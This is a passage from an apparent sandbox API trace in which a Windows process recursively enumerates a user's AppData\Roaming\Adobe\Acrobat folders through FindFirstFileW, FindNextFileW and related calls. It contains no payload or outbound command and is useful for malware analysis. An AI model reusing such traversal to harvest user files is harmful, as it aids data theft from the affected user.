ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xdc00de80, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0066.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0066.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0066.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0066.734] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x1e2930 [0066.735] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.735] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.735] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.735] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.739] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.739] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.739] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.739] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.739] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0066.739] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0066.739] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0066.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0066.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0066.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x27 [0066.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0066.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf61bf0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0066.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0066.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x27 [0066.740] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x1e2930 [0068.255] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.255] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.255] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.255] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.255] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.255] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.256] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.256] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.256] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2f [0068.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf61bf0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf61bf0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf61bf0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.257] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2f [0068.257] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.257] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.257] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.257] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.257] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x34 [0068.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.258] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf61bf0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xb47b4dd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb47b4dd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x34 [0068.258] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e2930 [0068.258] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.258] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.258] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.258] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.258] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.258] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.259] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", lpFilePart=0x0) returned 0x3b [0068.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.259] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat\\10.0\\collab"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xae8f5010, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xae8f5010, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xae8f5010, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.259] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", lpFilePart=0x0) returned 0x3b [0068.259] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e2930 [0068.259] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.259] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.259] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.259] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", lpFilePart=0x0) returned 0x3b [0068.260] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e2930 [0068.260] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.260] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.260] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", lpFilePart=0x0) returned 0x3a [0068.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.269] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat\\10.0\\forms"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0539550, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xb0539550, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb0539550, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", lpFilePart=0x0) returned 0x3a [0068.269] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e2930 [0068.269] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.269] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.270] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.270] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", lpFilePart=0x0) returned 0x3a [0068.270] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e2930 [0068.270] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.270] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.270] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.270] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", lpFilePart=0x0) returned 0x40 [0068.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb47b4dd0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xb47b4dd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb47b4dd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", lpFilePart=0x0) returned 0x40 [0068.271] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e2930 [0068.271] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.271] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.271] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.271] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.271] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", lpFilePart=0x0) returned 0x40 [0068.272] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e2930 [0068.272] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.272] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.272] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.272] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.272] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x34 [0068.273] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e2930 [0068.273] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.273] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.273] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.273] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.273] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.273] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2f [0068.274] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.274] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.274] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.274] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.274] FindClose (in: hFindFile=0x1e2930 | out: 